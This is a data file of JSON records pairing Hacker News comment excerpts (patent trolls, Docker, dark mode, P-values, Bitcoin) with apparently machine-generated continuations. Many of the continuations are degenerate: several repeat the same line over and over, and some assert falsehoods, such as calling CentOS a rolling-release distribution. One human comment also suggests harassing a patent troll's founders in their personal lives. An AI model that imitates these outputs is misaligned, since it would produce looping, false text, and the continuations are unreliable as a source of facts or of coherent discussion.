command.", "input_text": " moved on with our lives and that was that.\nNo follow-up, of course.\n\nAh, the delights of Pure Intellectual Research in the ivory towers of academe,\nright?\n\n~~~\nunishark\nGenerally they want to license the IP to you, which might be a good idea as it\nadds prestige, plus they will defend it in court. Note that even if your\ntechnology did not infringe on their patents, your marketing claims might have\nappeared to.\n\nMany schools try to make money by licensing patents, even giant public schools\n(oddly). Faculty and research staff are pressed to make invention disclosures\nof ongoing research that hasn't been published yet, and the school decides if\nit can make money patenting it. If they do, the inventor gets a cut.\n\nIn terms of ownership, all govt funding of the research means is the govt\nitself gets a free license to use it, not the public.\n\n~~~\nglangdale\nNone of the patents seemed to have anything to do with anything we did whether\nactual IP or marketing claims. I think the generalized scheme was \"spam out\nthis huge brochure to enough people and hope we get something back\".\n\nI understand the whole 'ownership of govt funded stuff' well enough; I don't\nthink I am entitled to ride around in a tank. And yet it doesn't seem entirely\nlike the public good that was trying to be achieved, especially this kind of\nspammy approach, where they clearly had no idea of which patent we might be\n\"infringing\" or interested in licensing.\n\n------\nstreetcat1\nThe patent is likely invalid.\n\nFirst of all, based on my understanding of Mycroft architecture, voice\nrecognition is done on the"} +{"output_text": " Android.\n\n~~~\nuser5994461\nYou can't wake an app from sleep without a background service.\n\nYou can't wake an app from sleep without a persistent notification.\n\nYou can't wake an app from sleep without a persistent notification.\n\nYou can't wake an app from sleep without a persistent notification.\n\nYou can't wake an app from sleep without a persistent notification.\n\nYou can't wake an app from sleep without a persistent notification.\n", "input_text": " putting my game Neptune's Pride in the Epic Games store and\nusing PayPal to collect payments.\n\n~~~\nDetroitThrow\nI had been trying to remember the name of this game for over a year now, my\nfew Google searches for \"long term space strategy mmo\" never yielded anything.\nI love that hackernews seems to dredge up the interesting parts of the net.\n\nAnyways, Neptune's Pride is very very fun and I can't wait to play it again!\n\n~~~\njay_kyburz\nHello DetroitThrow! Glad to hear my not very subtle plug for the game might\nget at least one player back!\n\n------\nAndrew_nenakhov\nI won't stop telling this: mobile platforms need not only third party app\nstores, but third party push notifications services too. Both iOS and Android\nlove to kill apps in the background. This behavior, sans push notifications,\ncripples a lot of types of applications (chiefly, all messengers).\n\nIf there ever would be some legal pressure on Apple& Google to open up their\nplatforms, it is important to make this point known to legislators.\n\n~~~\nuser5994461\nApplications have to be paused to save battery, or killed to save memory. You\ncan lookup the Android doc since the first version 10+ years ago, it explains\nvery well the lifecycle of apps. Mobile devices would be unusable if it were\nnot for that.\n\n~~~\nAndrew_nenakhov\nThis obvious thing you say doesn't change the fact that there is no a way to\nwake an app from sleep without FCM push notifications or running a background\nservice with persistent notification (which users hate), which has a lot of\nrestrictions that get tighter with every new version of"} +{"output_text": " 10MB.\"\n\n~~~\ndatalus\nI'm not sure what you're seeing. I'm using the same photo.\n\n~~~\nggchappell\nI'm using Chrome on Windows.\n\n------\njamesjyu\nI'm curious if this is a problem with the algorithm, or if it's just a\nproblem with the photo.\n\nI tried the same photo, and it said I was 25.\n\n[https://scontent.xx", "input_text": " her age by a decade.\n\n------\nsuchow\nIf you're interested in the human side of age perception, we're running a\nstudy at [http://testmybrain.org](http://testmybrain.org) (\"Understanding\nother people\") where you judge people's age based on a photograph. We're\nlooking at individual differences in face perception \u2014 how your age, race, and\nexperience affect your judgment of others.\n\n------\ndatalus\nThe quality of the prediction also matters on the quality of the photo. I\ntried the photos that I do have of myself online, which each have a distinct\nlighting profile. One is a soft, orange glow in a restaurant... the guess was\noff by +11 years. The next photo has a portion of the left side of my face\nobscured by shadow. This was off by something like +31 years.\n\n------\nMarcus316\nTried this picture: [https://scontent.xx.fbcdn.net/hphotos-\nxpf1/v/t1.0-9/11040377...](https://scontent.xx.fbcdn.net/hphotos-\nxpf1/v/t1.0-9/11040377_10100621243021700_1069248627051998394_n.jpg?oh=e0fd957e41abfe1d3fcd4d950811a678&oe=55C8BA49)\n\nTold me age 25. I'm flattered. ;)\n\n------\nggchappell\nI don't get it. When I click on \"Use This Photo\", it always says, \"Couldn\u2019t\ndetect any faces. Please verify that the image is valid and less than"} +{"output_text": " is a good\nplace to buy gold.\n\n~~~\nBenoitEssiambre\nI think gold is a good investment because it is a store of value and a\ncurrency. It is not a good investment because it is a currency.\n\n------\njoe_the_user\nI think the author is right that the value of Bitcoin is not a good measure\nof its value.\n\nBut I think the author is wrong that Bitcoin is not a good investment", "input_text": " inflates less\nquickly?\n\n~~~\nBenoitEssiambre\nI think market forces will make it so that the one that inflates less quickly\nwill be more volatile and the higher risk premium of holding it will make it\noften less attractive than the one that inflates more quickly but often it\nalso will be the opposite.\n\nLike most investments there will be a trade-off of risks vs returns but both\ncurrencies will in the long run, be poor investments compared to income\ngenerating assets tied to real production.\n\n~~~\nramontayag\nThis is certainly interesting. Could the same principle be applied to gold\nwhich has been fairly stable?\n\nI don't think gold is the right medium for the singularity because it is not\neasy to obtain and subdivide. It needs to be in the the vicinity of choosing\nthe inflated coin on one hand, and the more valuable coin on the right.\n\nPerhaps it's this trait that will keep Bitcoin volatile? Because it's easy to\ngo in and out of it, volatility will remain high?\n\n~~~\nBenoitEssiambre\nYes it's similar to gold. Gold has some intrinsic value which anchors its\nprice and reduces volatility and as you mentioned it is not as easy to trade\nwhich reduces speculation. But even gold is still a fairly volatile\ninvestment.\n\n~~~\nramontayag\nYes, it may feel volatile, but how volatile is it compared to other\ncurrencies? For example, my country's currency fell 10% in the last three\nmonths.\n\nIntrinsic value discussion aside (which is its own discussion worth having), I\nwould certainly like to keep more of my money in gold vs my local currency if\ngold were easy to get and keep. Peter Schiff says goldmoney.com"} +{"output_text": "iu-\n> We can't change the distribution because all the services running on this\n> servers are tight to the quirks and special cases of this distribution.\n\nI'm not sure I understand this. What are the special cases?\n\n~~~\nfu86\nThe special cases are the fact that CentOS is a rolling release distribution\nand that it's not possible to install a newer version of glibc than the one\nprovided by CentOS.\n\n------\nj", "input_text": " the\ntimestamps on the files. You and I have little hope of building the same image\nand getting the same exact result.\n\nBuild reproducibility is a very interesting topic with some unsolved issues,\nbut Docker isn't helping with it. See\n[https://reproducible.debian.net](https://reproducible.debian.net) for a good\nresource about build reproducibility.\n\n~~~\nvezzy-fnord\nDon't know why you were downvoted. Docker doesn't give you reproducible builds\nbecause you're still running in a raw host OS environment with all its state,\nbut simply the subsystems partitioned into their own namespaces. Docker is\nmore akin to a snapshot than reproducible.\n\n------\nrlpb\nDocker, or containers in general? I'd really like to hear about Docker\nspecifically, but most of the answers so far seem to relate to containers in\ngeneral, rather than Docker specifically.\n\nWhat are the business cases for using Docker over some other container-based\nsolution?\n\n------\nfu86\nWe have a shitload of servers running CentOS for historical reasons. We can't\nchange the distribution because all the services running on this servers are\ntight to the quirks and special cases of this distribution. So we need to live\nwith CentOS.\n\nSome of our newer services need a up to date version of glibc and a lot of\nother dependencies CentOS can't provide. So we use docker to boot up Ubuntu\n14.04 containers and run the services with special needs in them.\n\nAnother great thing is isolating scripts we don't trust. We allow our\ncustomers to run scripts of all kind on our servers --> inside Docker\ncontainers. So the customers can't mess with the hostsystem.\n\n~~~\nliv"} +{"output_text": " if the case is lost, then the defendant has to pay the winner's costs.\n\niv) if the case is won, then the defendant has to pay the winner's costs.\n\nv) if the case is settled, then the defendant has to pay the winner's costs.\n\nvi) if the case is dismissed, then the defendant has to pay the winner's\ncosts.\n\nvii) if the case is abandoned, then the defendant has to pay the winner", "input_text": "\ncoryrc\nShouldn't matter if it punches through so long as it maintains contact, as it\nshould have significantly lower resistance than your body?\n\n \nPatent Troll Lodsys Settles for Nothing to Avoid Trial - alxndr\nhttps://www.eff.org/deeplinks/2013/10/patent-troll-lodsys-settles-nothing-avoid-trial\n======\nlinuxhansl\nIsn't it nice to be patent troll in the US.\n\nYou can threaten 1000's of entities with legal action to extort money, since\njust defending against the allegation is very expensive. Then when a few of\nthose threats don't stick, all you have to do is \"settle for nothing\" to avoid\nan actual trial. Nice.\n\nThe patent trolls are just a symptom, the legal system is the problem.\n\nYou leave a legal loophole and you'll find some parasitic scum that will\nexploit it. Personally I find it hard to believe that the people running these\ncompanies can sleep at night... But that is a different story.\n\n~~~\nGarbage\nIt's one of those rare times, when I feel great that I am living in India. ;)\n\n~~~\npm90\nInstead of Patent Trolls, you have an apathetic business environment,\ncrumbling infrastructure and no copyright protection at all. You just traded\none set of problems for another one\n\n------\nDanBC\nEngland has some useful things that the US should consider.\n\ni) loser pays costs.\n\nii) if Ann is offered \u00a3X out of court, but declines it, and the case goes to\ncourt and she's awarded \u00a3Y then she has to pay costs if \u00a3Y is less than \u00a3X.\n\niii)"} +{"output_text": "com/game/rct2](https://www.gog.com/game/rct2)\n\n~~~\nAvshalom\nI'm pretty sure I have it.\n\n------\njandrese\nI'm surprised they didn't just use the original art. It's a pretty good\nlooking game.\n\n------\njandrese\nI'm surprised they didn't just use the original art. It's a pretty good\nlooking game.\n\n", "input_text": "AM a few years back. I don't know how they\nwrote the netcode, but the game ended up terribly out of sync pretty fast.\n\nIt's a shame the remake has decided to go 3d and lose the original art style.\nThe original really has timeless graphics.\n\n------\nkartD\nNice, does this get rid of the shitty AI for the janitor? I can't tell you how\nannoying it is to watch them do everything except clean the damn puke and\ntrash of the path.\n\n~~~\njandrese\nYou can turn off mowing the lawn which will keep them on barf duty unless you\nhave a giant flower garden in their work zone. It's pretty much necessary if\nyou have a coaster with a moderate or higher puke value in the park.\n\nAlso don't forget that you can put bathrooms near the exit of an upchuck\ninducing ride to keep the paths a little cleaner.\n\n------\nsitepodmatt\nchris sawyer a hero on carmack's level. (sawyer is behind transport tycoon and\nrollercoaster tycoon)\n\n------\ncr0sh\nWhat I'd like to see is an open-source version of Disney's Coaster\ngame/simulation.\n\nOr for that matter, any kind of roller coaster simulator. There's an excellent\nWindows roller coaster simulator out there (\"No Limits\"), but nothing like it\nexists on other platforms.\n\n------\nAvshalom\nWell time to go dig out my CD case.\n\n~~~\ntylerjd\nIf you can't find it or it is too scratched, they also sell the full edition\nof RCT2 on GoG for cheap\n[https://www.gog."} +{"output_text": "\nthere's a better way to do this.\n\n~~~\nsneilan1\nI agree, I think the sound is a good idea. I'm not sure if it's possible to\nhave a sound play when the theme is changed, but I'll look into it.\n\n------\nsneilan1\nI'm not sure if this is a good idea, but I'm going to try it out. I'm not\nsure if it's possible to have", "input_text": " At that point, there's no\nproblem with Gatsby or Next.\n\n~~~\nbarrowclift\nNot necessarily true, I'd argue the \"perfect\" dark mode uses the system's\ntheme by default like you said, but still allows visitors to manually set\nlight or dark should they wish to view the site a particular way (perhaps they\nprefer the light mode, etc.)\n\n~~~\nasiachick\nAgreed. S.O. recently added dark mode and for some reason my eyes couldn't\nfocus on it. No idea why. I run my editors and my terminal in dark themes.\nMaybe they didn't have enough contrast. Maybe the fonts are too small or too\nthin. I have my browser set to \"prefer dark mode\" but I'm really happy S.O.\nlet me opt out.\n\n------\nwelcometomiami\nDid anyone else happen to read this and think of\n[https://en.wikipedia.org/wiki/Perfect_Dark](https://en.wikipedia.org/wiki/Perfect_Dark)?\n\n~~~\nsneilan1\nYes, I played that game thoroughly and I could not separate the project from\nthe game.\n\n------\nmemco\nThe theme toggle button plays a sound when you click it. So not only does this\nrequire state for the theme, but also the sound. Also curious is that clicking\nthe button to mute sound plays a sound.\n\nI believe every OS defaults to silent actions for every button. Games, on the\nother hand, often have sounds for hover/focus and click. I'm not sure what's\nthe better option, but if we're going to default to the OS for theme choice\nshouldn't we also default to the OS for UI sound choice? I don't know if"} +{"output_text": " that the DMCA does not apply to user-generated content\nsites.\n\n------\njoshu\nI'm not sure I understand the argument.\n\nIf you have a copyright, you can sue. If you don't have a copyright, you can't\nsue.\n\n~~~\nicebraining\n_If you have a copyright, you can sue._\n\nNot necessarily.\n\n~~~\njoshu\nI'm not sure I understand your point.", "input_text": " know, via their 'Pin\nIt' code, exactly where the content is actually coming from.\n\n\u00a7 512(c) [DMCA Safe Harbor] also requires that the OSP: 1) not receive a\nfinancial benefit directly attributable to the infringing activity, 2) not be\naware of the presence of infringing material or know any facts or\ncircumstances that would make infringing material apparent,\n\nI wonder if 'the original source URL' of a image may be construed as a fact\nthat would make infringing material apparent. IANAL.\n\n~~~\nicebraining\n_In this case, Pinterest even acknowledges that the images are not the\nproperty of the user, \"When you pin from a website, we automatically grab the\nsource link so we can credit the original creator.\"_\n\nAnd that's fine - their ToS says you need to be either the copyright holder\n_or_ have consent from the copyright holder. For example, if I \"pin\" a CC\nlicensed image, I have such consent.\n\n~~~\nwaitwhat\n_their ToS says you need to be either the copyright holder or have consent\nfrom the copyright holder._\n\nI've seen warez sites with exactly the same disclaimer. It didn't work for\nthem either.\n\n~~~\nicebraining\nBut Youtube, Flickr, DeviantArt and thousands of other user submitted content\nsites are still online.\n\n~~~\nantiterra\nAs far as I know there is no industry group for still-image photographers\nanything like the MPAA or RIAA. All three of those sites are and were filled\nwith substantial original content, so they can claim that illegal use is not\ntheir primary drive. I don't know if Pinterest can successfully argue the same\nthing.\n\nIt also should be noted"} +{"output_text": " you willing to spend to save a life?\n\n~~~\nbasicplus2\nI'm not sure what you mean by that.\n\n~~~\nInclinedPlane\nI'm saying that if you're willing to spend $1M to save a life, then you're\nwilling to spend $1M to save a million lives.\n\n~~~\nbasicplus2\nI'm not sure what you mean by that.\n\n~~~\nInclinedPlane\n", "input_text": " bad happened. We\nneed to find out what it is and how to fix it as a society. The underlying\ntech and concepts will never go away again. It can be used for good. We\nrealized too late that we failed to use it properly.\n\n~~~\nNotAnEconomist\nMy point is the double-standard in the tech community making that argument on\nbehalf of one kind of technology, while ignoring that weapons extend from the\nvery basic human need for security and agency.\n\nIt's a standard human fallacy, which I've made numerous times: we look at the\nintentions of ourselves (the tech community) while looking at the results of\nothers (eg, the military). But the question we really need to be asking is if\nour impact on the world leads to better outcomes than theirs, regardless of\nwhat either group intended -- and I'm not sure it's so clear cut, once you\naccount for second order effects of social media.\n\nAnd it's certainly not as simple a moral calculus as \"Well, they work on\nweapons so they're worse people than me!\"\n\n------\nbasicplus2\nSeems odd to me to waste so much time and money and risk to lives when one can\nsimply drive a mine flail through any given area to clear it of mines.\n\n[https://en.m.wikipedia.org/wiki/Mine_flail](https://en.m.wikipedia.org/wiki/Mine_flail)\n\n~~~\nInclinedPlane\nHow expensive do you think it is to operate a mine flail? Especially factoring\nin transport to remote areas?\n\n~~~\nbasicplus2\nwhat price do you put on a life?\n\n~~~\nInclinedPlane\nHow much money are"} +{"output_text": " up in\nmachine learning.\n\nIf you have a bunch of features, and you're trying to predict a target, and\nyou're using a linear model, you can look at the coefficients for each feature\nand see how much it contributes to the prediction.\n\nIf you have a bunch of features, and you're trying to predict a target, and\nyou're using a non-linear model, you can look at the coefficients for each\nfeature and see how much it contributes", "input_text": "ide-\nfertilization-greening-earth)\n\nThe greening is also observed in areas unaffected by man's agricultural\nactivities.\n\n \n\nP-Values are not Error Probabilities (2003) [pdf] - gwern\nhttp://www.uv.es/sestio/TechRep/tr14-03.pdf\n\n======\ncl42\nThanks for sharing this. In general, it's a real shame how few people know how\nto interpret and use P values correctly. We work with a lot of businesses who\nask us to compare populations (e.g., through A/B tests) and people either (a)\ndon't care about the significance between population differences, or (b) are\nirrationally attached to P values.\n\nCase in point #1: debating whether a P value of 0.051 versus 0.049 is a major\ndifference in the significance test.\n\nCase in point #2: a P value of <0.001 but with extremely low differences in\nmeans between populations. With enough data, everything is significant!\n\nEnd rant. :)\n\n~~~\nreturn0\nAmen for #2! It's like the entire field of biology is an endless quest for low\np-values, regardless if the hypothesis is even interesting. It's like people\nare not interested to think, they just want to publish something significantly\ndiffernt.\n\n~~~\ncl42\nhaha, Sociology as well -- especially now that the web provides huge amounts\nof behavioral data.\n\nI much prefer how machine learning folks tend to approach predictive accuracy,\nthough I guess that's not quite the same as understanding relationships\nbetween specific variables while controlling for others.\n\n~~~\nsdenton4\nThere is a notion of 'feature importance,' which especially comes"} +{"output_text": "?\n\n~~~\njasonkester\nI'm interested in this sort of project. I'm not sure what you're building, but\nI'm sure it's not what I'm building.\n\nI'm building a web app that lets you build a web app.\n\n~~~\nhnf0r3v3r\nI'm building a web app that lets you build a web app.\n\n------\njasonkester\nI'm working on something similar that", "input_text": " infrastructure of the future is not RPC calls but\ndata-sync. (I guess MS Exchange is one of the first large examples of this).\n\n~~~\nDenisM\nRPC is an anti-pattern.\n\nI've been beating this drum for years, but it feels awfully lonely...\n\n\n\n\n\n~~~\ndyoder\nFWIW, we use HTTP as intended, not to tunnel RPCs.\n\n------\namirmc\n_\"And then, the realization: 'let\u2019s build the picks and shovels, instead of\npanning for gold.'\"_\n\nSomething about this line really irked me. Not really the kind of thing I'd\nwant to read as a potential customer.\n\n~~~\naugustl\nIt's exactly the thing I would want to read. I'm the expert in gold panning,\ndamnit, just give me the tools I need.\n\n~~~\nnewobj\nYou're an expert in gold panning yet you need tools?\n\n------\nequark\nThere is a real need for an open source clone of one of these realtime\ndatastores. I'd lean towards Firebase since it has the best API I've seen so\nfar.\n\nIf anybody wants an open source sprint, I'd be willing to donate to such a\nproject...\n\n------\nhnf0r3v3r\nI'm working on something similar that I want to open source. The idea is to be\nable to build apps quickly on the front end, and only have to mess with the\nback when necessary.\n\nAnyone interested in this sort of project"} +{"output_text": " at least make them think you can).\n\n~~~\njavajosh\nI guess I'm asking how you can budget for this risk. I'm not sure how to\nanswer this question, but I'm curious.\n\n~~~\nunishark\nI'm not sure how to answer this question either. I think it's a question of\nhow much you're willing to spend on legal fees. If you're not willing to spend\nmore than $10k on legal fees,", "input_text": " sued you is a great one in this case. Might even consider filing\nseveral lawsuits and complaints to overwhelm a small scale troll.\n\nOr if you're the size of Cloudflare, bully them in other ways. In this example\nit's an operation setup by just two lawyers, easy to make them regret going\nafter you if you make their work impossible. You could for example hire away\ntheir legal staff, delay things for ages, screw with the personal life of the\ntwo founders. They can't keep a small business afloat for very long if you\ndedicate some resources to screwing with their operations.\n\nMight even just sue their clients for something else (one of your patents for\nexample). In this case the client is a small firm in Germany, they would be in\na very bad place if they got sued in the US home district of Cloudflare and\nhad to defend. High probability that they would put pressure on the lawyers to\ndrop the troll suit.\n\n~~~\nchalst\nCloudflare took them to court, where the judge invalidated the patent.\nBlackbird appealed and lost.\n\n[https://blog.cloudflare.com/winning-the-blackbird-\nbattle/](https://blog.cloudflare.com/winning-the-blackbird-battle/)\n\n------\njavajosh\nSo, if you're interested in starting a software business, it seems like the\nrisk of being sued by a troll is close to 100% - how do you budget for this?\nIs there something like insurance you can buy?\n\n~~~\nunishark\nIt's generally not a problem until you start making enough money (or get a lot\nof funding) to be worth suing in the first place, at which point you can\nafford to pay them off (or"} +{"output_text": " worked for a company that was a land mine factory.\n\nIt was a very interesting place to work.\n\n------\njimmywanger\nI'm not sure if this is a good thing or not.\n\nI'm not sure if this is a good thing or not.\n\n------\njimmywanger\nI'm not sure if this is a good thing or not.\n\nI'm not sure if this is a good thing or not.\n\n", "input_text": "\ncoldcode\nI interviewed three times at a company once which didn't seem to have a clear\nbusiness model. Only in the last interview with the CEO did I realize he was\nrunning a ponzi scheme.\n\n------\nunivalent\nThis is like the Mickey Mouse version of the 'The Firm'.\n\n------\npnathan\nwhenever I am looking at a company, I google it, I scrape Glassdoor, I look\nfor news articles about it. \"How do you make money\" is usually on the menu of\n\"things I specifically care about\". I'd advise others do do the same. Learn\nwell what the company you're talking to does to earn a buck and who they are\nbeholden to.\n\nI avoid adtech, myself.\n\n------\nTheAdamist\nI've been to a Python Meetup there previously, nice office, nice tech talks.\nTheir sponsor overview certainly didn't disclose what they actually did.\n\nMakes me wonder about the other ad platforms in town.\n\n------\nvas123\nSometimes this adware crap hijacks legitimate open source projects as well and\ninstalls on unsuspecting users like this guy:\n\n[https://forum.videolan.org/viewtopic.php?t=78825](https://forum.videolan.org/viewtopic.php?t=78825)\n\n------\nzekevermillion\nThere are many businesses that are built around exploiting vulnerable\ncustomers or users, and it is common for such businesses to have contrived\ncomplicated ethical justifications for their conduct. I'm thinking in\nparticular of law and finance.\n\n------\njobigoud\nI also always wonder how the people working on engineering land mines do.\n\n~~~\nTheOtherHobbes\nI once"} +{"output_text": "%2Dapp%2Dis%2Bfucked%2Bup%2B%2526%2F%3F_r%3Dtcrn%253Dch)\n\n~~~\ndang\nI don't know what you mean by \"bad at privacy\", but I'm not sure what you\nmean by \"following the link initially redirects to\".\n\n~~~\nipsi\nI mean that the article is about Facebook's dating app,", "input_text": "timwaagh\nI'm personally thinking it's sad such resources and effort are expended over\nsomething as frivolous as a dating app. If there are significant\nirregularities it's better to just fine them a couple of billion later. Better\nfor the wallet, too.\n\n~~~\ncstross\nNot better for anyone who ends up being stalked and/or raped as a result of a\nbadly monitored/regulated dating app, though.\n\nThere's a public safety issue here: dating requires interpersonal negotiation\nfor personal intimacy with consent, which in turn implies that a dating app\nneeds to be \"safe space\". Facebook is notorious for leaking personal\ninformation to third parties (typically but not always advertisers). I have no\nknowledge of _specific_ risks associated with Facebook's dating app, but the\nprecautionary principle should apply in those cases where personal safety is\nat risk, and the sheer scale on which Facebook operates means that a dating\napp backed by the big F needs oversight.\n\nLuckily, GDPR FTW.\n\n------\necmascript\nIt feels wierd to read an american article that uses word like 'fuck you' and\n'fucked up'. I kind of like the brutal honesty of the word usage.\n\n------\nipsi\nSlight tangent, but it seems that TechCrunch are also quite bad at privacy -\nfollowing the link initially redirects to\n[https://guce.techcrunch.com/consent?brandType=nonEU&done=htt...](https://guce.techcrunch.com/consent?brandType=nonEU&done=https%3A%2F%2Ftechcrunch%2Ecom%2F2020%2F02%2F13%2Ffacebook%2Ddating"} +{"output_text": "You're not a bad person, you're just a person who has been taught to be a\nperson who is bad at things.\n\nI'm not saying you should do anything, I'm just saying that you're not alone\nand that you're not a bad person.\n\n~~~\nkrapp\n> _I 'm not saying you should do anything, I'm just saying that you're not\n> alone and that you're not a bad person._\n\nI", "input_text": "------\nvasilipupkin\nMaybe, try adderall? You could just have ADHD.\n\n------\nhellbanner\nSerious question - how often do you exercise?\n\n------\nknown\nYou need Passion + Patience + Perfection\n\n------\nACow_Adonis\nI've been a bit disappointed in the responses to be honest. They're almost\nmemes in and of themselves: therapy, drugs, tricks, maybe you're born with it\n(most aren't).\n\nThe good news is that you're normal. The bad news is that you're normal. And\nthat really strikes at the heart of the situation. A fish is worst at\nexplaining the concept \"wet\" because they're born and live in water. HN\nappears bad explaining lack of focus and self drive because most of us have\nbeen brought up in a culture that is almost specifically dominated with\ninstilling such aspects in people. I don't know if it is by design, but it is\nincredibly effective as a social glue and at showing that culture.\n\nCultural reprogramming is, to put it mildly, difficult at best once you've\nspent 30 years in one, so I'm largely posting this on the chance that it\nintroduces a new perspective and raises curiosity, not because I think you\nshould necessarily do it, since most people are not interested in such\nextremes and quite rightly: try separating from your dominant and acculturated\nenvironment and you'll likely find a while host of other (arguably bigger)\nproblems.\n\nYou've been born into and live in a culture that, almost from birth, teaches\nyou to turn to quick wins, entertainment, external direction and external\nauthority. You have now subsequently internalised that culture.\n\n"} +{"output_text": " than by position.\n\n------\njoshu\nI've been using [https://github.com/joshuakelly/json-\ncsv](https://github.com/joshuakelly/json-csv) for a while.\n\n------\njoshuakelly\nI wrote this a few years ago. It's a pretty simple tool to convert CSV to\nJSON.\n\n------\njoshuakelly\nI wrote this a few", "input_text": "\n>parses large documents slowly, but steadily, in memory space proportional to\nthe key depth of the document\n\nIf parsing JSON with shell scripts and awk is your idea of the most ideal way\nto \"slowly, but steadily\" get the job done.\n\n[https://github.com/shellbound/jwalk/blob/master/lib/jwalk/co...](https://github.com/shellbound/jwalk/blob/master/lib/jwalk/commands/parse.awk#L137)\n\nI know that everything looks like a nail if your only tool is a hammer, and\nit's fun to nail together square wheels out of plywood, but there are actually\nother tools out there with built-in, compiled, optimized, documented, tested,\nwell maintained, fully compliant JSON parsers.\n\n------\ngibba999\nSeems like a waste to do CSV->TSV without going all the way:\n\n[http://www.tsvx.org/](http://www.tsvx.org/)\n\nThe problem with TSVs and CSVs is that you might get an odd datatype 1TB into\na file. For example, what you expect to be an integer value is somehow a\nstring.\n\nTSVx extends TSV to add standard formats for things like headers which allows\nfor strict typing. You can do things like export a database table and import\nlosslessly. You can even export from MySQL and import into PostgreSQL most of\nthe times without pain.\n\nThe strict typing also avoids a lot of potential security issues. And in an\nenvironment where you control both ends (so you don't need to worry about\nsecurity of where the file came from), it leads to much nicer APIs: you can\nrefer to things by names rather"} +{"output_text": " is pure WYSIWYM (as opposed to \u201cwhat you see is how you\n> pronounce\u201d) and synthetic to boot?\n\nI don't know of any language that is like this.\n\n~~~\nstrogonoff\n> Toki Pona is not like English, Spanish, or other Western languages.\n\nI\u2019m not saying it\u2019s like English, Spanish, or other Western languages. I\u2019m\nsaying it\u2019s not like invented languages", "input_text": "3E3&sort=byDate&type=story)\n\n------\nstrogonoff\nInvented languages are overwhelmingly boring in their likeness to English,\nSpanish and other Western languages.\n\nWhat if we tried to create, say, a language with a logographic written system\nthat is pure WYSIWYM (as opposed to \u201cwhat you see is how you pronounce\u201d) _and_\nsynthetic to boot?\n\nMake it use vocal cords differently.\n\nInstead of borrowing around, use a random seed in generating a minimum set of\nunique basic \u201cnative\u201d words according to language rules and build on top of\nthat (borrowing for meanings outside of that set).\n\nThis could be so much more fun!\n\n~~~\njustinpombrio\n> Invented languages are overwhelmingly boring in their likeness to English,\n> Spanish and other Western languages.\n\nToki Pona is not like English, Spanish, or other Western languages.\n\nIt has no singular/plural distinction. It has no past/present/future tense.\nIts pronouns have no gender. All of its phonemes are present in almost all\nlanguages (this is on purpose). The way it forms questions is not like Enlgish\n(I don't know of any language that it's similar to). Its word order is\nsubject-verb-object, like most languages. [EDIT: not most, only 42%]\n\nThe only thing its taken from English, as far as I've seen, is a bunch of\nvocabulary. Though honestly its sounds are so limited that sometimes you can't\nrecognize which English word a Toki Pona word came from.\n\n> What if we tried to create, say, a language with a logographic written\n> system that"} +{"output_text": " was so specific that I thought it was a typo.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI've worked in the art world for a long time, and I've seen a lot of art\ntransported. I've seen art that was damaged, art that was stolen, art that\nwasn't insured, art that was damaged by the truck, art that was damaged by\nthe truck driver, art that", "input_text": " that. If you take a job transporting art, it's your job to\nunderstand what you're transporting.\n\nAnd at no point are you supposed to open boxes like that, anyway, no matter\nwhat you're transporting - when I unloaded the truck at a department store,\nthey drilled into us that that's a very good way to slice through a rack of\nt-shirts or pants or whatnot.\n\n~~~\nrabboRubble\nIf the tape on the boxes was not meant to be cut open under any circumstance,\nand the tape was not a part of the art itself, doesn't the blame fall upon the\nperson who put the tape on in the first place?\n\n~~~\npavel_lishin\nYou can cut tape from a packed box without jamming the blade into the box and\nits contents.\n\n~~~\nrabboRubble\nI didn't read it that way. The issue was with the handling of the boxes and\nnot the contents. The box itself was the artwork _in addition_ to the\ncontents. Slicing the tape sliced the box and the box was insured for EUR25k.\n\n\"cuts through the tape that seals all the boxes. Each box a artwork, insured\nfor 25.000\u20ac - sliced.\"\n\n~~~\npavel_lishin\n> The box itself was the artwork in addition to the contents.\n\nThat's not how I read it (emphasis mine):\n\n> One of those haulers venturing into art, transported a artwork by a Chinese\n> artists (do not know the name), basically very long paperrolls with Chinese\n> letters on them _to be hung from a halls ceiling_\n\n~~~\nrabboRubble\nI love this! I initially assumed your understanding was what s/he meant too\nbut the wording"} +{"output_text": ".\n\n------\njosteink\nI'm not sure if I'm missing something, but isn't this just a case of\n\"innovation\" in the wrong direction?\n\nI mean, if you're going to innovate, why not innovate in the direction of\nmaking the internet a better place for everyone?\n\nInstead of trying to make the internet a better place for the few, why not\nmake it a better place for the many?\n\nI mean", "input_text": ".\nThis makes a lot of sense, since the originating party is the one in a\nposition to decide whether to place the call and therefore should bear the\ncost.\n\nBy renaming the originating party to the \"sending\" party, they can redefine\nYouTube/NetFlix/whoever as the \"sending\" party even though the user is the\noriginating party. Thus they attempt to justify denying the user the service\n_which they already have paid for_ unless they receive the appropriate\nkickbacks^W \"fees\" from whoever is serving the data.\n\n------\nnitrogen\nWith regards to Quality of Service, what's wrong with letting the packet flags\ndecide QoS, with customers paying for a guaranteed percentage of high-QoS\nbandwidth during peak network load?\n\nIn other words, when the network is underutilized, all packets would be\ntransmitted with high priority and low latency, with QoS flags allowing\npackets to jump ahead in packet queues. When the network is heavily loaded,\nhigh-QoS packets beyond the customer's quota would be relegated to best\neffort.\n\n~~~\neridius\nIn this situation, what's stopping all traffic senders from marking their\npackets with the QoS flag? After all, they don't want their traffic getting\nstuck behind some other sender's traffic.\n\n~~~\nbelorn\nEach customer only has a limited amount of QoS high priority traffic. If\nsomeone flags every packet with high priority, all the QoS mean is that the\nfirst packages get improved priority and everything else get default low\npriority.\n\nThat mean a customers software can balance the use of QoS for time sensitive\ntraffic, and maybe even flag some data as below default to get bonus high\npriority traffic"} +{"output_text": "b) what I was interested in.\n\n------\njoezydeco\nI remember the KIM-1. I had one in the late 70s and early 80s. I wrote a\nlittle game in assembly for it.\n\n------\njoezydeco\nI remember the KIM-1. I had one in the late 70s and early 80s. I wrote a\nlittle game in assembly for it.\n\n------\njoezyde", "input_text": " team).\n\n------\ncimnine\nnice'syntax highlighting' ;)\n\n~~~\nsimmons\nI was thinking the same thing. I, too, wrote many sheets of hand-coded 6502\nassembly back then, but I didn't think to use a multi-colored pen.\n\n------\nsegmondy\nI wrote code like this in 1997. First year in college, micro processing\ncourse. So I wrote a simulator for the 6800 chip, and an assembler. So I\ndidn't have to wait every Saturday at 8:30am to run my code. The professor\nwasn't impressed at all when I showed him my program.\n\n------\nquattrofan\nThis made a big wave of nostalgia wash over me, I learnt to write 6510\nassembler on my C64.\n\n------\nbwang8\nArticles like these make me realized I am completely spoiled. I am in no\nposition to complain about debugging when modern technology afforded me a much\neasier time than 30-40 years 